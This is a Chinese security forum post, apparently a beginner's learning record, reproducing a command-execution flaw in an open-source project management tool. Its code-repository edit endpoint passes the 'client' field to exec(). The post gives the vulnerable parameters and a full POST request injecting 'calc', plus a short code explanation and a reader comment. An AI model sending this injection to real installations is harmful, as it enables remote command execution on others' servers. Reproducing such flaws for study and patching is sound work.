某开源项目管理软件 命令执行漏洞复现

xzz   ·   发表于 2023-08-07 22:22:32   ·   漏洞文章

某开源项目管理软件 命令执行漏洞复现

限制

m=repo&f=edit&repoID=4&objectID=0
SCM=Subversion&client=命令

复现

先在Devops创建代码库


SCM类型改为Subversion,client=calc

  1. POST /www/index.php?m=repo&f=edit&repoID=4&objectID=0 HTTP/1.1
  2. Host: zentao.com
  3. Content-Length: 159
  4. Accept: application/json, text/javascript, */*; q=0.01
  5. X-Requested-With: XMLHttpRequest
  6. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
  7. Content-Type: application/x-www-form-urlencoded; charset=UTF-8
  8. Origin: http://zentao.com
  9. Referer: http://zentao.com/www/index.php?m=repo&f=edit&repoID=4&objectID=0
  10. Accept-Encoding: gzip, deflate
  11. Accept-Language: zh-CN,zh;q=0.9
  12. Cookie: lang=zh-cn; device=desktop; theme=default; zentaosid=cii1u3b5r641gjrf8n2f8nkdbv; repoBranch=master; preProductID=1; preBranch=0; goback=%7B%22devops%22%3A%22http%3A%5C%2F%5C%2Fzentao.com%5C%2Fwww%5C%2Findex.php%3Fm%3Drepo%26f%3Dbrowse%22%7D; tab=devops; windowWidth=1201; windowHeight=883
  13. Connection: close
  14. product%5B%5D=1&projects%5B%5D=7&SCM=Subversion&serviceHost=&name=zz&path=&encoding=utf-8&client=calc&account=&password=&encrypt=base64&desc=&uid=64afe826d96f7

代码
checkConnection


这里要以post方式提交下面的变量,$scm=Subversion才会进入if,$client为可控变量,是要执行的命令,来获取程序的版本信息。
exec() 函数的第一个参数是要执行的命令字符串,第二个参数是一个数组,用于存储命令执行的结果;第三个参数是一个整数,用于指定返回值的状态码

新手入门作为学习记录,写的不太完美还请见谅!

用户名金币积分时间理由
Track-魔方 100.00 0 2023-08-08 11:11:26 期待同学的更多原创文章~

打赏我,让我更有动力~

2 条回复   |  直到 7个月前 | 421 次浏览

Track-魔方
发表于 8个月前

文章中的zentao.com应该是你本地搭建靶场环境设置的域名吧

评论列表

  • 加载数据中...

编写评论内容
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.